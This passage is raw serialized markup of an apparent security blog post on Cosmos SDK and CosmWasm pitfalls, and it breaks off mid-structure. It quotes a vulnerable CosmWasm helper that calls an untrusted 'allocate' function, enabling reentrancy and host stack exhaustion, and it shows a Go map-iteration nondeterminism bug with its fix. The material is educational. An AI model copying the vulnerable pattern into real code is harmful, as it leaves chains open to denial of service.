Cosmos.",{"type":24,"tag":235,"props":83412,"children":83414},{"id":83413},"real-world-examples",[83415],{"type":29,"value":83416},"Real-World Examples",{"type":24,"tag":25,"props":83418,"children":83419},{},[83420],{"type":29,"value":83421},"Now, let's examine a few real-world instances.",{"type":24,"tag":25,"props":83423,"children":83424},{},[83425,83427,83433,83434,83440,83442,83448,83450,83456],{"type":29,"value":83426},"In the case of ",{"type":24,"tag":57,"props":83428,"children":83431},{"href":83429,"rel":83430},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[61],[83432],{"type":29,"value":25202},{"type":29,"value":14024},{"type":24,"tag":284,"props":83435,"children":83437},{"className":83436},[],[83438],{"type":29,"value":83439},"CosmWasm",{"type":29,"value":83441}," bug, the helper method ",{"type":24,"tag":284,"props":83443,"children":83445},{"className":83444},[],[83446],{"type":29,"value":83447},"write_to_contract",{"type":29,"value":83449}," negligently calls the untrusted Wasm function ",{"type":24,"tag":284,"props":83451,"children":83453},{"className":83452},[],[83454],{"type":29,"value":83455},"\"allocate\"",{"type":29,"value":66},{"type":24,"tag":25,"props":83458,"children":83459},{},[83460],{"type":24,"tag":57,"props":83461,"children":83464},{"href":83462,"rel":83463},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[61],[83465],{"type":29,"value":83466},"Permalink for snippet",{"type":24,"tag":317,"props":83468,"children":83470},{"code":83469,"language":1552,"meta":7,"className":1553,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[83471],{"type":24,"tag":284,"props":83472,"children":83473},{"__ignoreMap":7},[83474,83543,83591,83619,83648,83697,83771,83816,83839,83884,83891,83948,83967],{"type":24,"tag":327,"props":83475,"children":83476},{"class":329,"line":330},[83477,83481,83486,83490,83495,83499,83504,83508,83512,83516,83521,83525,83530,83534,83539],{"type":24,"tag":327,"props":83478,"children":83479},{"style":334},[83480],{"type":29,"value":1617},{"type":24,"tag":327,"props":83482,"children":83483},{"style":340},[83484],{"type":29,"value":83485}," write_to_contract",{"type":24,"tag":327,"props":83487,"children":83488},{"style":346},[83489],{"type":29,"value":1596},{"type":24,"tag":327,"props":83491,"children":83492},{"style":1639},[83493],{"type":29,"value":83494},"A",{"type":24,"tag":327,"props":83496,"children":83497},{"style":381},[83498],{"type":29,"value":1636},{"type":24,"tag":327,"props":83500,"children":83501},{"style":1639},[83502],{"type":29,"value":83503}," BackendApi",{"type":24,"tag":327,"props":83505,"children":83506},{"style":346},[83507],{"type":29,"value":2744},{"type":24,"tag":327,"props":83509,"children":83510},{"style":1639},[83511],{"type":29,"value":3457},{"type":24,"tag":327,"props":83513,"children":83514},{"style":381},[83515],{"type":29,"value":1636},{"type":24,"tag":327,"props":83517,"children":83518},{"style":1639},[83519],{"type":29,"value":83520}," Storage",{"type":24,"tag":327,"props":83522,"children":83523},{"style":346},[83524],{"type":29,"value":2744},{"type":24,"tag":327,"props":83526,"children":83527},{"style":1639},[83528],{"type":29,"value":83529},"Q",{"type":24,"tag":327,"props":83531,"children":83532},{"style":381},[83533],{"type":29,"value":1636},{"type":24,"tag":327,"props":83535,"children":83536},{"style":1639},[83537],{"type":29,"value":83538}," Querier",{"type":24,"tag":327,"props":83540,"children":83541},{"style":346},[83542],{"type":29,"value":14155},{"type":24,"tag":327,"props":83544,"children":83545},{"class":329,"line":367},[83546,83550,83554,83558,83563,83567,83571,83575,83579,83583,83587],{"type":24,"tag":327,"props":83547,"children":83548},{"style":356},[83549],{"type":29,"value":11435},{"type":24,"tag":327,"props":83551,"children":83552},{"style":381},[83553],{"type":29,"value":1636},{"type":24,"tag":327,"props":83555,"children":83556},{"style":381},[83557],{"type":29,"value":14704},{"type":24,"tag":327,"props":83559,"children":83560},{"style":1639},[83561],{"type":29,"value":83562},"Environment",{"type":24,"tag":327,"props":83564,"children":83565},{"style":346},[83566],{"type":29,"value":1596},{"type":24,"tag":327,"props":83568,"children":83569},{"style":1639},[83570],{"type":29,"value":83494},{"type":24,"tag":327,"props":83572,"children":83573},{"style":346},[83574],{"type":29,"value":2744},{"type":24,"tag":327,"props":83576,"children":83577},{"style":1639},[83578],{"type":29,"value":3457},{"type":24,"tag":327,"props":83580,"children":83581},{"style":346},[83582],{"type":29,"value":2744},{"type":24,"tag":327,"props":83584,"children":83585},{"style":1639},[83586],{"type":29,"value":83529},{"type":24,"tag":327,"props":83588,"children":83589},{"style":346},[83590],{"type":29,"value":4529},{"type":24,"tag":327,"props":83592,"children":83593},{"class":329,"line":408},[83594,83599,83603,83607,83611,83615],{"type":24,"tag":327,"props":83595,"children":83596},{"style":356},[83597],{"type":29,"value":83598},"    input",{"type":24,"tag":327,"props":83600,"children":83601},{"style":381},[83602],{"type":29,"value":1636},{"type":24,"tag":327,"props":83604,"children":83605},{"style":381},[83606],{"type":29,"value":14704},{"type":24,"tag":327,"props":83608,"children":83609},{"style":346},[83610],{"type":29,"value":11329},{"type":24,"tag":327,"props":83612,"children":83613},{"style":1639},[83614],{"type":29,"value":11022},{"type":24,"tag":327,"props":83616,"children":83617},{"style":346},[83618],{"type":29,"value":21794},{"type":24,"tag":327,"props":83620,"children":83621},{"class":329,"line":421},[83622,83626,83630,83635,83639,83644],{"type":24,"tag":327,"props":83623,"children":83624},{"style":346},[83625],{"type":29,"value":1674},{"type":24,"tag":327,"props":83627,"children":83628},{"style":381},[83629],{"type":29,"value":1679},{"type":24,"tag":327,"props":83631,"children":83632},{"style":1639},[83633],{"type":29,"value":83634}," VmResult",{"type":24,"tag":327,"props":83636,"children":83637},{"style":346},[83638],{"type":29,"value":1596},{"type":24,"tag":327,"props":83640,"children":83641},{"style":1639},[83642],{"type":29,"value":83643},"u32",{"type":24,"tag":327,"props":83645,"children":83646},{"style":346},[83647],{"type":29,"value":4344},{"type":24,"tag":327,"props":83649,"children":83650},{"class":329,"line":450},[83651,83655,83660,83664,83669,83673,83677,83681,83685,83689,83693],{"type":24,"tag":327,"props":83652,"children":83653},{"style":334},[83654],{"type":29,"value":4794},{"type":24,"tag":327,"props":83656,"children":83657},{"style":356},[83658],{"type":29,"value":83659}," out_size",{"type":24,"tag":327,"props":83661,"children":83662},{"style":381},[83663],{"type":29,"value":4809},{"type":24,"tag":327,"props":83665,"children":83666},{"style":340},[83667],{"type":29,"value":83668}," to_u32",{"type":24,"tag":327,"props":83670,"children":83671},{"style":346},[83672],{"type":29,"value":349},{"type":24,"tag":327,"props":83674,"children":83675},{"style":356},[83676],{"type":29,"value":15927},{"type":24,"tag":327,"props":83678,"children":83679},{"style":381},[83680],{"type":29,"value":66},{"type":24,"tag":327,"props":83682,"children":83683},{"style":340},[83684],{"type":29,"value":4906},{"type":24,"tag":327,"props":83686,"children":83687},{"style":346},[83688],{"type":29,"value":48679},{"type":24,"tag":327,"props":83690,"children":83691},{"style":381},[83692],{"type":29,"value":7437},{"type":24,"tag":327,"props":83694,"children":83695},{"style":346},[83696],{"type":29,"value":405},{"type":24,"tag":327,"props":83698,"children":83699},{"class":329,"line":481},[83700,83704,83708,83712,83716,83720,83725,83729,83733,83737,83741,83745,83750,83754,83758,83763,83767],{"type":24,"tag":327,"props":83701,"children":83702},{"style":334},[83703],{"type":29,"value":4794},{"type":24,"tag":327,"props":83705,"children":83706},{"style":356},[83707],{"type":29,"value":16713},{"type":24,"tag":327,"props":83709,"children":83710},{"style":381},[83711],{"type":29,"value":4809},{"type":24,"tag":327,"props":83713,"children":83714},{"style":356},[83715],{"type":29,"value":49673},{"type":24,"tag":327,"props":83717,"children":83718},{"style":381},[83719],{"type":29,"value":66},{"type":24,"tag":327,"props":83721,"children":83722},{"style":340},[83723],{"type":29,"value":83724},"call_function1",{"type":24,"tag":327,"props":83726,"children":83727},{"style":346},[83728],{"type":29,"value":349},{"type":24,"tag":327,"props":83730,"children":83731},{"style":844},[83732],{"type":29,"value":83455},{"type":24,"tag":327,"props":83734,"children":83735},{"style":346},[83736],{"type":29,"value":2744},{"type":24,"tag":327,"props":83738,"children":83739},{"style":381},[83740],{"type":29,"value":8716},{"type":24,"tag":327,"props":83742,"children":83743},{"style":346},[83744],{"type":29,"value":11329},{"type":24,"tag":327,"props":83746,"children":83747},{"style":356},[83748],{"type":29,"value":83749},"out_size",{"type":24,"tag":327,"props":83751,"children":83752},{"style":381},[83753],{"type":29,"value":66},{"type":24,"tag":327,"props":83755,"children":83756},{"style":340},[83757],{"type":29,"value":22409},{"type":24,"tag":327,"props":83759,"children":83760},{"style":346},[83761],{"type":29,"value":83762},"()])",{"type":24,"tag":327,"props":83764,"children":83765},{"style":381},[83766],{"type":29,"value":7437},{"type":24,"tag":327,"props":83768,"children":83769},{"style":346},[83770],{"type":29,"value":405},{"type":24,"tag":327,"props":83772,"children":83773},{"class":329,"line":500},[83774,83778,83783,83787,83792,83796,83800,83804,83808,83812],{"type":24,"tag":327,"props":83775,"children":83776},{"style":334},[83777],{"type":29,"value":4794},{"type":24,"tag":327,"props":83779,"children":83780},{"style":356},[83781],{"type":29,"value":83782}," target_ptr",{"type":24,"tag":327,"props":83784,"children":83785},{"style":381},[83786],{"type":29,"value":4809},{"type":24,"tag":327,"props":83788,"children":83789},{"style":340},[83790],{"type":29,"value":83791}," ref_to_u32",{"type":24,"tag":327,"props":83793,"children":83794},{"style":346},[83795],{"type":29,"value":349},{"type":24,"tag":327,"props":83797,"children":83798},{"style":381},[83799],{"type":29,"value":8716},{"type":24,"tag":327,"props":83801,"children":83802},{"style":356},[83803],{"type":29,"value":16637},{"type":24,"tag":327,"props":83805,"children":83806},{"style":346},[83807],{"type":29,"value":3146},{"type":24,"tag":327,"props":83809,"children":83810},{"style":381},[83811],{"type":29,"value":7437},{"type":24,"tag":327,"props":83813,"children":83814},{"style":346},[83815],{"type":29,"value":405},{"type":24,"tag":327,"props":83817,"children":83818},{"class":329,"line":529},[83819,83823,83827,83831,83835],{"type":24,"tag":327,"props":83820,"children":83821},{"style":425},[83822],{"type":29,"value":428},{"type":24,"tag":327,"props":83824,"children":83825},{"style":356},[83826],{"type":29,"value":83782},{"type":24,"tag":327,"props":83828,"children":83829},{"style":381},[83830],{"type":29,"value":9887},{"type":24,"tag":327,"props":83832,"children":83833},{"style":397},[83834],{"type":29,"value":6695},{"type":24,"tag":327,"props":83836,"children":83837},{"style":346},[83838],{"type":29,"value":497},{"type":24,"tag":327,"props":83840,"children":83841},{"class":329,"line":538},[83842,83846,83850,83854,83859,83863,83868,83872,83876,83880],{"type":24,"tag":327,"props":83843,"children":83844},{"style":425},[83845],{"type":29,"value":4944},{"type":24,"tag":327,"props":83847,"children":83848},{"style":1639},[83849],{"type":29,"value":23267},{"type":24,"tag":327,"props":83851,"children":83852},{"style":346},[83853],{"type":29,"value":349},{"type":24,"tag":327,"props":83855,"children":83856},{"style":1639},[83857],{"type":29,"value":83858},"CommunicationError",{"type":24,"tag":327,"props":83860,"children":83861},{"style":381},[83862],{"type":29,"value":2407},{"type":24,"tag":327,"props":83864,"children":83865},{"style":340},[83866],{"type":29,"value":83867},"zero_address",{"type":24,"tag":327,"props":83869,"children":83870},{"style":346},[83871],{"type":29,"value":7616},{"type":24,"tag":327,"props":83873,"children":83874},{"style":381},[83875],{"type":29,"value":66},{"type":24,"tag":327,"props":83877,"children":83878},{"style":340},[83879],{"type":29,"value":22409},{"type":24,"tag":327,"props":83881,"children":83882},{"style":346},[83883],{"type":29,"value":10225},{"type":24,"tag":327,"props":83885,"children":83886},{"class":329,"line":547},[83887],{"type":24,"tag":327,"props":83888,"children":83889},{"style":346},[83890],{"type":29,"value":535},{"type":24,"tag":327,"props":83892,"children":83893},{"class":329,"line":557},[83894,83899,83903,83907,83911,83915,83919,83923,83928,83932,83936,83940,83944],{"type":24,"tag":327,"props":83895,"children":83896},{"style":340},[83897],{"type":29,"value":83898},"    write_region",{"type":24,"tag":327,"props":83900,"children":83901},{"style":346},[83902],{"type":29,"value":349},{"type":24,"tag":327,"props":83904,"children":83905},{"style":381},[83906],{"type":29,"value":8716},{"type":24,"tag":327,"props":83908,"children":83909},{"style":356},[83910],{"type":29,"value":42403},{"type":24,"tag":327,"props":83912,"children":83913},{"style":381},[83914],{"type":29,"value":66},{"type":24,"tag":327,"props":83916,"children":83917},{"style":340},[83918],{"type":29,"value":82699},{"type":24,"tag":327,"props":83920,"children":83921},{"style":346},[83922],{"type":29,"value":25885},{"type":24,"tag":327,"props":83924,"children":83925},{"style":356},[83926],{"type":29,"value":83927},"target_ptr",{"type":24,"tag":327,"props":83929,"children":83930},{"style":346},[83931],{"type":29,"value":2744},{"type":24,"tag":327,"props":83933,"children":83934},{"style":356},[83935],{"type":29,"value":15927},{"type":24,"tag":327,"props":83937,"children":83938},{"style":346},[83939],{"type":29,"value":3146},{"type":24,"tag":327,"props":83941,"children":83942},{"style":381},[83943],{"type":29,"value":7437},{"type":24,"tag":327,"props":83945,"children":83946},{"style":346},[83947],{"type":29,"value":405},{"type":24,"tag":327,"props":83949,"children":83950},{"class":329,"line":586},[83951,83955,83959,83963],{"type":24,"tag":327,"props":83952,"children":83953},{"style":1639},[83954],{"type":29,"value":9004},{"type":24,"tag":327,"props":83956,"children":83957},{"style":346},[83958],{"type":29,"value":349},{"type":24,"tag":327,"props":83960,"children":83961},{"style":356},[83962],{"type":29,"value":83927},{"type":24,"tag":327,"props":83964,"children":83965},{"style":346},[83966],{"type":29,"value":852},{"type":24,"tag":327,"props":83968,"children":83969},{"class":329,"line":1017},[83970],{"type":24,"tag":327,"props":83971,"children":83972},{"style":346},[83973],{"type":29,"value":592},{"type":24,"tag":25,"props":83975,"children":83976},{},[83977,83979,83985,83987,83992],{"type":29,"value":83978},"As users have complete control over ",{"type":24,"tag":284,"props":83980,"children":83982},{"className":83981},[],[83983],{"type":29,"value":83984},"allocate",{"type":29,"value":83986},", there is a possibility to call back ",{"type":24,"tag":284,"props":83988,"children":83990},{"className":83989},[],[83991],{"type":29,"value":83447},{"type":29,"value":83993}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":24,"tag":25,"props":83995,"children":83996},{},[83997,83999,84006],{"type":29,"value":83998},"Additional real-world examples include ",{"type":24,"tag":57,"props":84000,"children":84003},{"href":84001,"rel":84002},"https://github.com/cosmos/cosmos-sdk/issues/16676",[61],[84004],{"type":29,"value":84005},"not returning proper values for malformed txs",{"type":29,"value":66},{"type":24,"tag":228,"props":84008,"children":84010},{"id":84009},"order-was-the-dream-of-man",[84011],{"type":29,"value":84012},"Order Was the Dream of Man",{"type":24,"tag":25,"props":84014,"children":84015},{},[84016],{"type":29,"value":84017},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":24,"tag":25,"props":84019,"children":84020},{},[84021],{"type":29,"value":84022},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":24,"tag":317,"props":84024,"children":84026},{"code":84025,"language":82891,"meta":7,"className":82892,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[84027],{"type":24,"tag":284,"props":84028,"children":84029},{"__ignoreMap":7},[84030,84063,84070,84099,84136,84165,84186,84198,84235,84243,84250,84257],{"type":24,"tag":327,"props":84031,"children":84032},{"class":329,"line":330},[84033,84037,84042,84046,84050,84054,84058],{"type":24,"tag":327,"props":84034,"children":84035},{"style":334},[84036],{"type":29,"value":39467},{"type":24,"tag":327,"props":84038,"children":84039},{"style":1639},[84040],{"type":29,"value":84041}," ObjectMap",{"type":24,"tag":327,"props":84043,"children":84044},{"style":334},[84045],{"type":29,"value":56389},{"type":24,"tag":327,"props":84047,"children":84048},{"style":346},[84049],{"type":29,"value":11329},{"type":24,"tag":327,"props":84051,"children":84052},{"style":1639},[84053],{"type":29,"value":36375},{"type":24,"tag":327,"props":84055,"children":84056},{"style":346},[84057],{"type":29,"value":22934},{"type":24,"tag":327,"props":84059,"children":84060},{"style":1639},[84061],{"type":29,"value":84062},"string\n",{"type":24,"tag":327,"props":84064,"children":84065},{"class":329,"line":367},[84066],{"type":24,"tag":327,"props":84067,"children":84068},{"emptyLinePlaceholder":16},[84069],{"type":29,"value":544},{"type":24,"tag":327,"props":84071,"children":84072},{"class":329,"line":408},[84073,84077,84082,84086,84091,84095],{"type":24,"tag":327,"props":84074,"children":84075},{"style":334},[84076],{"type":29,"value":83027},{"type":24,"tag":327,"props":84078,"children":84079},{"style":340},[84080],{"type":29,"value":84081}," EmitEntries",{"type":24,"tag":327,"props":84083,"children":84084},{"style":346},[84085],{"type":29,"value":349},{"type":24,"tag":327,"props":84087,"children":84088},{"style":356},[84089],{"type":29,"value":84090},"objectMap",{"type":24,"tag":327,"props":84092,"children":84093},{"style":1639},[84094],{"type":29,"value":84041},{"type":24,"tag":327,"props":84096,"children":84097},{"style":346},[84098],{"type":29,"value":364},{"type":24,"tag":327,"props":84100,"children":84101},{"class":329,"line":421},[84102,84106,84110,84114,84118,84122,84127,84132],{"type":24,"tag":327,"props":84103,"children":84104},{"style":425},[84105],{"type":29,"value":10643},{"type":24,"tag":327,"props":84107,"children":84108},{"style":356},[84109],{"type":29,"value":13499},{"type":24,"tag":327,"props":84111,"children":84112},{"style":346},[84113],{"type":29,"value":2744},{"type":24,"tag":327,"props":84115,"children":84116},{"style":356},[84117],{"type":29,"value":45865},{"type":24,"tag":327,"props":84119,"children":84120},{"style":381},[84121],{"type":29,"value":83143},{"type":24,"tag":327,"props":84123,"children":84124},{"style":425},[84125],{"type":29,"value":84126}," range",{"type":24,"tag":327,"props":84128,"children":84129},{"style":356},[84130],{"type":29,"value":84131}," objectMap",{"type":24,"tag":327,"props":84133,"children":84134},{"style":346},[84135],{"type":29,"value":497},{"type":24,"tag":327,"props":84137,"children":84138},{"class":329,"line":450},[84139,84143,84147,84152,84156,84161],{"type":24,"tag":327,"props":84140,"children":84141},{"style":356},[84142],{"type":29,"value":7649},{"type":24,"tag":327,"props":84144,"children":84145},{"style":346},[84146],{"type":29,"value":66},{"type":24,"tag":327,"props":84148,"children":84149},{"style":356},[84150],{"type":29,"value":84151},"EventManager",{"type":24,"tag":327,"props":84153,"children":84154},{"style":346},[84155],{"type":29,"value":66},{"type":24,"tag":327,"props":84157,"children":84158},{"style":340},[84159],{"type":29,"value":84160},"EmitEvent",{"type":24,"tag":327,"props":84162,"children":84163},{"style":346},[84164],{"type":29,"value":4663},{"type":24,"tag":327,"props":84166,"children":84167},{"class":329,"line":481},[84168,84173,84177,84182],{"type":24,"tag":327,"props":84169,"children":84170},{"style":356},[84171],{"type":29,"value":84172},"            sdk",{"type":24,"tag":327,"props":84174,"children":84175},{"style":346},[84176],{"type":29,"value":66},{"type":24,"tag":327,"props":84178,"children":84179},{"style":340},[84180],{"type":29,"value":84181},"NewEvent",{"type":24,"tag":327,"props":84183,"children":84184},{"style":346},[84185],{"type":29,"value":4663},{"type":24,"tag":327,"props":84187,"children":84188},{"class":329,"line":500},[84189,84194],{"type":24,"tag":327,"props":84190,"children":84191},{"style":844},[84192],{"type":29,"value":84193},"                \"MapContext\"",{"type":24,"tag":327,"props":84195,"children":84196},{"style":346},[84197],{"type":29,"value":2231},{"type":24,"tag":327,"props":84199,"children":84200},{"class":329,"line":529},[84201,84206,84210,84215,84219,84223,84227,84231],{"type":24,"tag":327,"props":84202,"children":84203},{"style":356},[84204],{"type":29,"value":84205},"                sdk",{"type":24,"tag":327,"props":84207,"children":84208},{"style":346},[84209],{"type":29,"value":66},{"type":24,"tag":327,"props":84211,"children":84212},{"style":340},[84213],{"type":29,"value":84214},"NewAttribute",{"type":24,"tag":327,"props":84216,"children":84217},{"style":346},[84218],{"type":29,"value":349},{"type":24,"tag":327,"props":84220,"children":84221},{"style":356},[84222],{"type":29,"value":78881},{"type":24,"tag":327,"props":84224,"children":84225},{"style":346},[84226],{"type":29,"value":2744},{"type":24,"tag":327,"props":84228,"children":84229},{"style":356},[84230],{"type":29,"value":45865},{"type":24,"tag":327,"props":84232,"children":84233},{"style":346},[84234],{"type":29,"value":9212},{"type":24,"tag":327,"props":84236,"children":84237},{"class":329,"line":538},[84238],{"type":24,"tag":327,"props":84239,"children":84240},{"style":346},[84241],{"type":29,"value":84242},"            )\n",{"type":24,"tag":327,"props":84244,"children":84245},{"class":329,"line":547},[84246],{"type":24,"tag":327,"props":84247,"children":84248},{"style":346},[84249],{"type":29,"value":75045},{"type":24,"tag":327,"props":84251,"children":84252},{"class":329,"line":557},[84253],{"type":24,"tag":327,"props":84254,"children":84255},{"style":346},[84256],{"type":29,"value":535},{"type":24,"tag":327,"props":84258,"children":84259},{"class":329,"line":586},[84260],{"type":24,"tag":327,"props":84261,"children":84262},{"style":346},[84263],{"type":29,"value":592},{"type":24,"tag":25,"props":84265,"children":84266},{},[84267],{"type":29,"value":84268},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":24,"tag":1706,"props":84270,"children":84271},{},[84272],{"type":24,"tag":25,"props":84273,"children":84274},{},[84275],{"type":29,"value":84276},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":24,"tag":25,"props":84278,"children":84279},{},[84280,84282,84287],{"type":29,"value":84281},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":24,"tag":284,"props":84283,"children":84285},{"className":84284},[],[84286],{"type":29,"value":73826},{"type":29,"value":84288}," and then fetch the values using the sorted key array before emitting them.",{"type":24,"tag":317,"props":84290,"children":84292},{"code":84291,"language":82891,"meta":7,"className":82892,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[84293],{"type":24,"tag":284,"props":84294,"children":84295},{"__ignoreMap":7},[84296,84327,84334,84361,84381,84408,84444,84451,84480,84487,84522,84549,84568,84579,84623,84630,84637,84644],{"type":24,"tag":327,"props":84297,"children":84298},{"class":329,"line":330},[84299,84303,84307,84311,84315,84319,84323],{"type":24,"tag":327,"props":84300,"children":84301},{"style":334},[84302],{"type":29,"value":39467},{"type":24,"tag":327,"props":84304,"children":84305},{"style":1639},[84306],{"type":29,"value":84041},{"type":24,"tag":327,"props":84308,"children":84309},{"style":334},[84310],{"type":29,"value":56389},{"type":24,"tag":327,"props":84312,"children":84313},{"style":346},[84314],{"type":29,"value":11329},{"type":24,"tag":327,"props":84316,"children":84317},{"style":1639},[84318],{"type":29,"value":36375},{"type":24,"tag":327,"props":84320,"children":84321},{"style":346},[84322],{"type":29,"value":22934},{"type":24,"tag":327,"props":84324,"children":84325},{"style":1639},[84326],{"type":29,"value":84062},{"type":24,"tag":327,"props":84328,"children":84329},{"class":329,"line":367},[84330],{"type":24,"tag":327,"props":84331,"children":84332},{"emptyLinePlaceholder":16},[84333],{"type":29,"value":544},{"type":24,"tag":327,"props":84335,"children":84336},{"class":329,"line":408},[84337,84341,84345,84349,84353,84357],{"type":24,"tag":327,"props":84338,"children":84339},{"style":334},[84340],{"type":29,"value":83027},{"type":24,"tag":327,"props":84342,"children":84343},{"style":340},[84344],{"type":29,"value":84081},{"type":24,"tag":327,"props":84346,"children":84347},{"style":346},[84348],{"type":29,"value":349},{"type":24,"tag":327,"props":84350,"children":84351},{"style":356},[84352],{"type":29,"value":84090},{"type":24,"tag":327,"props":84354,"children":84355},{"style":1639},[84356],{"type":29,"value":84041},{"type":24,"tag":327,"props":84358,"children":84359},{"style":346},[84360],{"type":29,"value":364},{"type":24,"tag":327,"props":84362,"children":84363},{"class":329,"line":421},[84364,84369,84373,84377],{"type":24,"tag":327,"props":84365,"children":84366},{"style":334},[84367],{"type":29,"value":84368},"    var",{"type":24,"tag":327,"props":84370,"children":84371},{"style":356},[84372],{"type":29,"value":2761},{"type":24,"tag":327,"props":84374,"children":84375},{"style":346},[84376],{"type":29,"value":82954},{"type":24,"tag":327,"props":84378,"children":84379},{"style":1639},[84380],{"type":29,"value":84062},{"type":24,"tag":327,"props":84382,"children":84383},{"class":329,"line":450},[84384,84388,84392,84396,84400,84404],{"type":24,"tag":327,"props":84385,"children":84386},{"style":425},[84387],{"type":29,"value":10643},{"type":24,"tag":327,"props":84389,"children":84390},{"style":356},[84391],{"type":29,"value":13499},{"type":24,"tag":327,"props":84393,"children":84394},{"style":381},[84395],{"type":29,"value":83143},{"type":24,"tag":327,"props":84397,"children":84398},{"style":425},[84399],{"type":29,"value":84126},{"type":24,"tag":327,"props":84401,"children":84402},{"style":356},[84403],{"type":29,"value":84131},{"type":24,"tag":327,"props":84405,"children":84406},{"style":346},[84407],{"type":29,"value":497},{"type":24,"tag":327,"props":84409,"children":84410},{"class":329,"line":481},[84411,84415,84419,84424,84428,84432,84436,84440],{"type":24,"tag":327,"props":84412,"children":84413},{"style":356},[84414],{"type":29,"value":6788},{"type":24,"tag":327,"props":84416,"children":84417},{"style":381},[84418],{"type":29,"value":4809},{"type":24,"tag":327,"props":84420,"children":84421},{"style":340},[84422],{"type":29,"value":84423}," append",{"type":24,"tag":327,"props":84425,"children":84426},{"style":346},[84427],{"type":29,"value":349},{"type":24,"tag":327,"props":84429,"children":84430},{"style":356},[84431],{"type":29,"value":2354},{"type":24,"tag":327,"props":84433,"children":84434},{"style":346},[84435],{"type":29,"value":2744},{"type":24,"tag":327,"props":84437,"children":84438},{"style":356},[84439],{"type":29,"value":78881},{"type":24,"tag":327,"props":84441,"children":84442},{"style":346},[84443],{"type":29,"value":852},{"type":24,"tag":327,"props":84445,"children":84446},{"class":329,"line":500},[84447],{"type":24,"tag":327,"props":84448,"children":84449},{"style":346},[84450],{"type":29,"value":535},{"type":24,"tag":327,"props":84452,"children":84453},{"class":329,"line":529},[84454,84459,84463,84468,84472,84476],{"type":24,"tag":327,"props":84455,"children":84456},{"style":356},[84457],{"type":29,"value":84458},"    sort",{"type":24,"tag":327,"props":84460,"children":84461},{"style":346},[84462],{"type":29,"value":66},{"type":24,"tag":327,"props":84464,"children":84465},{"style":340},[84466],{"type":29,"value":84467},"Strings",{"type":24,"tag":327,"props":84469,"children":84470},{"style":346},[84471],{"type":29,"value":349},{"type":24,"tag":327,"props":84473,"children":84474},{"style":356},[84475],{"type":29,"value":2354},{"type":24,"tag":327,"props":84477,"children":84478},{"style":346},[84479],{"type":29,"value":852},{"type":24,"tag":327,"props":84481,"children":84482},{"class":329,"line":538},[84483],{"type":24,"tag":327,"props":84484,"children":84485},{"emptyLinePlaceholder":16},[84486],{"type":29,"value":544},{"type":24,"tag":327,"props":84488,"children":84489},{"class":329,"line":547},[84490,84494,84498,84502,84506,84510,84514,84518],{"type":24,"tag":327,"props":84491,"children":84492},{"style":425},[84493],{"type":29,"value":10643},{"type":24,"tag":327,"props":84495,"children":84496},{"style":356},[84497],{"type":29,"value":10648},{"type":24,"tag":327,"props":84499,"children":84500},{"style":346},[84501],{"type":29,"value":2744},{"type":24,"tag":327,"props":84503,"children":84504},{"style":356},[84505],{"type":29,"value":78881},{"type":24,"tag":327,"props":84507,"children":84508},{"style":381},[84509],{"type":29,"value":83143},{"type":24,"tag":327,"props":84511,"children":84512},{"style":425},[84513],{"type":29,"value":84126},{"type":24,"tag":327,"props":84515,"children":84516},{"style":356},[84517],{"type":29,"value":2761},{"type":24,"tag":327,"props":84519,"children":84520},{"style":346},[84521],{"type":29,"value":497},{"type":24,"tag":327,"props":84523,"children":84524},{"class":329,"line":557},[84525,84529,84533,84537,84541,84545],{"type":24,"tag":327,"props":84526,"children":84527},{"style":356},[84528],{"type":29,"value":7649},{"type":24,"tag":327,"props":84530,"children":84531},{"style":346},[84532],{"type":29,"value":66},{"type":24,"tag":327,"props":84534,"children":84535},{"style":356},[84536],{"type":29,"value":84151},{"type":24,"tag":327,"props":84538,"children":84539},{"style":346},[84540],{"type":29,"value":66},{"type":24,"tag":327,"props":84542,"children":84543},{"style":340},[84544],{"type":29,"value":84160},{"type":24,"tag":327,"props":84546,"children":84547},{"style":346},[84548],{"type":29,"value":4663},{"type":24,"tag":327,"props":84550,"children":84551},{"class":329,"line":586},[84552,84556,84560,84564],{"type":24,"tag":327,"props":84553,"children":84554},{"style":356},[84555],{"type":29,"value":84172},{"type":24,"tag":327,"props":84557,"children":84558},{"style":346},[84559],{"type":29,"value":66},{"type":24,"tag":327,"props":84561,"children":84562},{"style":340},[84563],{"type":29,"value":84181},{"type":24,"tag":327,"props":84565,"children":84566},{"style":346},[84567],{"type":29,"value":4663},{"type":24,"tag":327,"props":84569,"children":84570},{"class":329,"line":1017},[84571,84575],{"type":24,"tag":327,"props":84572,"children":84573},{"style":844},[84574],{"type":29,"value":84193},{"type":24,"tag":327,"props":84576,"children":84577},{"style":346},[84578],{"type":29,"value":2231},{"type":24,"tag":327,"props":84580,"children":84581},{"class":329,"line"